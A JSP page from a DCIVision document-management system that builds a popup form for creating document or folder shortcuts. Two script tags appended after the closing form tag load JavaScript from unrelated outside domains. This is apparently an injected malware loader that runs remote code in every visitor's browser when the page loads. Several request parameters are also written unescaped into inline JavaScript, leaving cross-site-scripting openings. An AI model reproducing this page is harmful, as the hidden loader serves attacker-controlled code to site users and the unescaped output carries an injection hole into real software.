<%
/*
 * @(#)EditMtmDocumentRelationship.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */
%>

<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.core.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintMtmDocumentRelationshipForm" scope="request" class="com.dcivision.dms.web.MaintMtmDocumentRelationshipForm"/>

<html:form action="dms/MaintMtmDocumentRelationship" styleClass="form-style-2">
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/
 try{
    Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
    String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
    DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);

    //DmsDocument docTep = docRetrievalManager.getMyFavoriteObject();
    String documentID  = maintMtmDocumentRelationshipForm.getDocumentID()==null? request.getParameter("documentID")==null? "" : (String) request.getParameter("documentID"):(String)maintMtmDocumentRelationshipForm.getDocumentID();
    boolean bFromContextMenu = false;
    if(!Utility.isEmpty(request.getParameter("bFromContextMenu"))){
        if("true".equals(request.getParameter("bFromContextMenu"))){
            bFromContextMenu = true;
        }else{
            bFromContextMenu = false;
        }
    }else if(!Utility.isEmpty(documentID) && !"null".equals(documentID)){
        bFromContextMenu = true;
    }
    String relationshipType  = maintMtmDocumentRelationshipForm.getRelationshipType()==null? request.getParameter("relationshipType")==null? "" : (String) request.getParameter("relationshipType"):(String)maintMtmDocumentRelationshipForm.getRelationshipType();

    String directURL = request.getParameter("directURL") != null ? request.getParameter("directURL") : maintMtmDocumentRelationshipForm.getDirectURL();

    String returnTop = request.getParameter("returnTop");
    String returnTo = request.getParameter("returnTo") != null ? request.getParameter("returnTo") : maintMtmDocumentRelationshipForm.getReturnTo();

  if (!Utility.isEmpty(returnTop)&&!"undefined".equals(returnTop) && !"null".equals(returnTop)) {
      returnTop =java.net.URLEncoder.encode(returnTop);
    returnTo = returnTo + "&returnTo=" + returnTop;
    maintMtmDocumentRelationshipForm.setReturnTo(returnTo);
  }

    //Parameters used for DMS
    String rootID  = maintMtmDocumentRelationshipForm.getRootID()==null? request.getParameter("rootID")==null? "" : (String) request.getParameter("rootID"):(String)maintMtmDocumentRelationshipForm.getRootID();
    String parentID = maintMtmDocumentRelationshipForm.getParentID()==null? request.getParameter("parentID")==null? "" : (String) request.getParameter("parentID"):(String)maintMtmDocumentRelationshipForm.getParentID();
    DmsRoot nDmsRoot= (DmsRoot)docRetrievalManager.getDmsRoot(TextUtility.parseIntegerObj(rootID));
    if(DmsRoot.PERSONAL_ROOT.equals(nDmsRoot.getRootType())){
      if(!nDmsRoot.getOwnerID().equals(sessionContainer.getUserRecordID())){
        rootID=docRetrievalManager.getDmsRootID(sessionContainer.getUserRecordID(),GlobalConstant.RECORD_STATUS_ACTIVE).getID().toString();
        DmsDocument nDmsDocument= (DmsDocument)docRetrievalManager.getRootFolderByRootID(TextUtility.parseIntegerObj(rootID));
        parentID=nDmsDocument.getID().toString();
      }
    }
     String curFunctionCode = maintMtmDocumentRelationshipForm.getCurFunctionCode()==null? (String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY): maintMtmDocumentRelationshipForm.getCurFunctionCode();
    String permission = request.getParameter("permission")==null? "" : (String) request.getParameter("permission");

    DmsDocument rootFolder = (DmsDocument)request.getAttribute("rootFolder");
    List folderTreeList = (List)request.getAttribute("folderTreeList");
    String location = (String)request.getAttribute("location");

    String dummy_display_objectID="";
    String dummy_display_objectName="";
    DmsDocument dmsDocument = new DmsDocument();
    DmsDocument documentRoot = new DmsDocument();
    PermissionManager permissionManager = null;

    Integer tempdocumentID = request.getParameter("documentID") == null ? TextUtility.parseIntegerObj(maintMtmDocumentRelationshipForm.getDocumentID()) :                         TextUtility.parseIntegerObj(request.getParameter("documentID"));
    DmsDocumentDAObject dmsDocumentDAObject = new DmsDocumentDAObject(sessionContainer,conn);
    DmsDocument tempdocumentRoot = null;
    if (!Utility.isEmpty(tempdocumentID)){
      tempdocumentRoot = (DmsDocument)dmsDocumentDAObject.getObjectByID(tempdocumentID);
    }

    DmsDocument doc = null;
    if(!Utility.isEmpty(parentID)){
     doc = (DmsDocument)dmsDocumentDAObject.getObjectByID(TextUtility.parseIntegerObj(parentID));
    }
    String docType = doc==null?" ":doc.getDocumentType();
    //get the name for object id
    if (!Utility.isEmpty(documentID)){
      dmsDocument = docRetrievalManager.getDocument(new Integer(documentID));
      dummy_display_objectName=dmsDocument.getDocumentName();
      documentRoot = (DmsDocument)docRetrievalManager.getRootFolderByRootID(dmsDocument.getRootID());
      if (Utility.isEmpty(permission)){
        permissionManager = sessionContainer.getPermissionManager();
      }
    }

   String functionType = "";
   if (DmsDocument.DOCUMENT_LINK.equals(relationshipType)){
     if (!Utility.isEmpty(tempdocumentRoot)){
       if("Z".equals(tempdocumentRoot.getDocumentType())){
       functionType = "dms.label.folder_shortcut_linkage";
       }else{
         functionType = "dms.label.document_shortcut_linkage";
       }
     }else{
      functionType = "dms.label.document_shortcut_linkage";
     }
   }

   String homePageFunctionCode="";
   String sCurFunctionCode="";

   if(SystemFunctionConstant.DMS_PERSONAL_FOLDER.equals(curFunctionCode)){
     sCurFunctionCode = SystemFunctionConstant.DMS_PERSONAL_FOLDER;
   }else if (SystemFunctionConstant.DMS_PUBLIC_FOLDER.equals(curFunctionCode)){
     sCurFunctionCode = SystemFunctionConstant.DMS_PUBLIC_FOLDER;
   }else if(SystemFunctionConstant.DMS_COMPOUND_DOCUMENT.equals(curFunctionCode)){
     sCurFunctionCode = SystemFunctionConstant.DMS_COMPOUND_DOCUMENT;
   }

   if (Utility.isEmpty(curFunctionCode) || "null".equals(curFunctionCode) || DmsOperationConstant.LIST_PERSONAL_HOME.equals(curFunctionCode)){
     homePageFunctionCode=DmsOperationConstant.LIST_PERSONAL_HOME;
     DmsDocument docRoot = docRetrievalManager.getRootFolderByRootID(TextUtility.parseIntegerObj(rootID));
     if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(docRoot.getDocumentName())) {
       sCurFunctionCode = SystemFunctionConstant.DMS_PERSONAL_FOLDER;
     } else {
       sCurFunctionCode = SystemFunctionConstant.DMS_PUBLIC_FOLDER;
     }
     request.setAttribute(GlobalConstant.FUNCTION_CODE_KEY, sCurFunctionCode);
   }


   String docFolder = DmsOperationConstant.USE_DOC_FOLDER_PICKER;

   String myFavorite = maintMtmDocumentRelationshipForm.getIsMyFavorite();

  boolean isPersonalFolder = true;

  String parentPermission ="";

  if (Utility.isEmpty(permission)|| "null".equals(permission)) {
    PermissionManager permissionManager1 = sessionContainer.getPermissionManager();
    parentPermission = (String) permissionManager1.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, TextUtility.parseIntegerObj(parentID));

  }else{
    parentPermission = permission;
  }

  if(!Utility.isEmpty(rootID)){
      DmsRootDAObject dmsRootDAO = new DmsRootDAObject(sessionContainer, conn);
      DmsRoot documentRoot1 = (DmsRoot) dmsRootDAO.getObjectByID(TextUtility.parseIntegerObj(rootID));
      if (!DmsOperationConstant.DMS_PERSONAL_ROOT.equals(documentRoot1.getRootName())) {
          isPersonalFolder = false;
      }
  }

  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/%>
<script language="javascript" type="text/javascript">

function getListDocument(){
  return(popupSelectionPanel('<%=rootID%>', '<%=parentID%>', 'dummy_display_objectName', 'dummy_display_objectID','<%=docFolder%>','<%=java.net.URLEncoder.encode(returnTo)%>'));
}

function popupSelectionPanel(rootID, parentID, displayField, hiddenField,pageFlag,returnTo) {
  var frm;
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
      break;
    }
  }

  var selectedDoc = eval("frm."+hiddenField+".value");
  var url = "<%= request.getContextPath() %>" + "/dms/ListDmsSelectDocFolder.do?rootID=" + rootID + "&parentID=" + parentID + "&formName=" + frm.name + "&displayFieldName=" + displayField+ "&pageFlag=" + pageFlag +"&returnTo=" +returnTo+ "&hiddenFieldName=" + hiddenField + "&selectedDoc=" + encodeURIComponent(selectedDoc) + "&parentModule=<%=maintMtmDocumentRelationshipForm.getParentModule()%>";
  var name = "DCIVisionPopupDmsSelectSinglePanel";
  var popW = "900";
  var popH = "550";
  var feature = "scrollbars=yes,resizable=yes";

  return OpenCenteredPopup(url, name, popW, popH, feature);
}

function newShortcutOpCustSave(){
  if (!OpValidateShortcutSave()) {
    return(false);
  }

  if (document.maintMtmDocumentRelationshipForm.locationPath.value=="") {
      alert("<bean:message key='errors.dms.target_location'/>");
    return true;
  }

  if (document.maintMtmDocumentRelationshipForm.documentName.value=="") {
      alert("<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "errors.required", MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.label.name_label_"+relationshipType))%>");
    return true;
  }

  if (document.maintMtmDocumentRelationshipForm.documentID.value == ''){
    document.maintMtmDocumentRelationshipForm.documentID.value = document.maintMtmDocumentRelationshipForm.dummy_display_objectID.value;
  }
  return OpSave(document.maintMtmDocumentRelationshipForm);
}

function OpValidateShortcutSave() {
  if (document.maintMtmDocumentRelationshipForm.dummy_display_objectName.value==''){
    alert("<bean:message key='errors.forum.select_object_for_shortcut'/>");
    return false;
  }
  return (true);
}

</script>
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>

<html:hidden property='documentID'/>
<html:hidden property='relatedDocumentID'/>
<html:hidden property='relationshipType' value='<%=relationshipType%>'/>
<html:hidden property='curFunctionCode' value='<%=curFunctionCode%>'/>
<html:hidden property='parentModule' />
<html:hidden property="directURL" />
<html:hidden property="returnTo"/>
<html:hidden property="isMyFavorite"/>

<input type="hidden" name="bFromContextMenu" />
<input type="hidden" name="dummy_display_objectID" />
<!-- Page Title Section -->

<!-- Section Header -->
<table width="480">
<tr>
<td>

<div class="popupPanelTitle">
  <table>
    <tr><td valign="middle">
    <B><bean:message key="dms.label.new_shortcut" /></B>
    </td></tr>
  </table>
</div>


<div class="popupWrapperContainer">
    <table>
      <%if ((GlobalConstant.NAV_MODE_NEW.equals(ACTION_MODE)) || (GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE)) ) {  %>
        <tr>
        <%
        if (!Utility.isEmpty(tempdocumentRoot) && bFromContextMenu){
          if("Z".equals(tempdocumentRoot.getDocumentType())){
          %>
          <td class="formLabelSmall"><bean:message key="dms.label.shortcut_for"/>:&nbsp;</td>
          <%}else{%>
          <td class="formLabelSmall"><bean:message key="dms.label.shortcut_for"/>:&nbsp;</td>
          <%}%>
          <td class="formFieldSmall">
            <input type="text" name="temp_dummy_display_objectName" value="<%=dummy_display_objectName%>"  readonly="true" size="50">
            <input type="hidden" name="dummy_display_objectName" value="<%=dummy_display_objectName%>"size="20" maxlength="30" readOnly/>
          </td>
          <%}else{%>

            <td class="formLabelSmall"><bean:message key="dms.label.shortcut_for"/>:&nbsp;</td>
            <td class="formFieldSmall">
              <input type="text" name="temp_dummy_display_objectName" value="<%=dummy_display_objectName%>"  readonly="true" size="50">
              <input type="hidden" name="dummy_display_objectName" value="<%=dummy_display_objectName%>"size="20" maxlength="30" readOnly/>
              <a href='#' onClick='return(getListDocument())'>
              <html:img  src='IconPopupSearch.gif' border="0" align='absmiddle'/>
              </a>
          </td>
          <%}%>
        </tr>
        <%if (!Utility.isEmpty(documentID)){%>
        <tr>
          <td class="formLabelSmall"><bean:message key='dms.label.location'/>:&nbsp;</td>
          <td class="formFieldSmall">
          &nbsp;<dms:docFolderPicker parentID="<%=dmsDocument.getParentID()%>" rootID="<%=dmsDocument.getRootID()%>" permission='<%=permission%>' rootDocument='<%=documentRoot%>' indexFlag='showIndexFlag'/>
          <%if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
          <html:hidden property='parentID'/>
          <html:hidden property='rootID'/>
          <%}%>
          </td>
        </tr>
        <%}%>
      <%} %>

      <!-- Current location path -->
      <tr>
        <%String strRelationshipType= "dms.label.name_label_"+relationshipType; %>
        <td class="formLabelSmall"><bean:message key='<%=strRelationshipType%>'/>:&nbsp;</td>
        <td class="formFieldSmall">
        <%if ((GlobalConstant.NAV_MODE_NEW.equals(ACTION_MODE)) || (GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE)) ) {  %>
          <%if (Utility.isEmpty(dummy_display_objectName)) {  %>
            <input type="text" name="documentName" value="<%=dummy_display_objectName%>"size="50" maxlength="30" />
          <%}else{%>
            <input type="text" name="documentName" value="<bean:message key='dms.label.shortcut_of'/> <%=dummy_display_objectName%>"size="50" maxlength="30" />
            <%
              if ( (MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(),"dms.label.shortcut_of") + dummy_display_objectName).length() > DmsOperationConstant.FILE_NAME_LENGTH_LIMIT) {
            %>
              <font class="messageAlarm"><bean:message key="errors.dms.document_name_is_too_longer" /></font>
            <%
              }
            %>
          <%}%>
        <%}else{%>
        <html:text property='documentName' size='50' maxlength='100'/>
        <%}%>
        </td>
      </tr>

      <tr>
        <td class="formLabelSmall"><nobr><bean:message key='dms.label.save_to'/>:&nbsp;</nobr></td>
        <td class="formFieldSmall">
          <%
            boolean allowPersonalOnly = false;
            boolean allowPublicOnly = false;

            if (!Utility.isEmpty(tempdocumentRoot)){
              DmsRoot dmsRoot = docRetrievalManager.getDmsRootByDocumentID(tempdocumentRoot.getID());
              if (DmsRoot.PERSONAL_ROOT.equals(dmsRoot.getRootType())){
                allowPersonalOnly = true;
              } else {
                allowPersonalOnly = true;
                allowPublicOnly = true;
              }
            }
          %>
          <% if ((DmsOperationConstant.LIST_COMPOUND_DOCUMENT.equals(maintMtmDocumentRelationshipForm.getParentModule()))||(DmsOperationConstant.LIST_PAPER_DOCUMENT.equals(maintMtmDocumentRelationshipForm.getParentModule()))||(GlobalConstant.OP_MODE_MY_FAVORITE.equals(myFavorite))) {%>
            <dms:folderPicker property="locationPath" hiddenRootID="rootID" hiddenParentID="parentID" hiddenRootIDValue="<%=rootID%>" hiddenParentIDValue="<%=parentID%>" size="50" readonly="true" allowPersonalOnly="<%=allowPersonalOnly%>" allowPublicOnly="<%=allowPublicOnly%>"/>
          <%}else{%>
            <dms:folderPicker property="locationPath" hiddenRootID="rootID" hiddenParentID="parentID" hiddenRootIDValue="<%=rootID%>" hiddenParentIDValue="<%=parentID%>" isMyFavorite="<%=myFavorite%>" size="50" allowCompoundDoc="true" allowPaperDoc="true" allowPersonalOnly="<%=allowPersonalOnly%>" allowPublicOnly="<%=allowPublicOnly%>"/>
          <%}%>
          <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
            &nbsp;&nbsp;<font class="bodyVerySmall"><bean:message key='dms.message.choose_target_destination_folder'/></font>
          <%}%>
        </td>
      </tr>

      <tr>
        <td colspan="2"><layout:auditTrail/></td>
      </tr>
    </table>
</div>
 


<div id="popupPanelBottom">
<div id="buttonSection">
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <html:standardButton label="common.label.save" onClick="return newShortcutOpCustSave()"/>
    <%}%>
    <html:standardButton label="common.label.close" onClick="return hideNewShortcutDialog()"/>
  </div>
</div>

</td>
</tr>
</table>

<%}catch (Exception e) {
    LogFactory.getLog(this.getClass()).error(e, e);
    }%>
</html:form>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>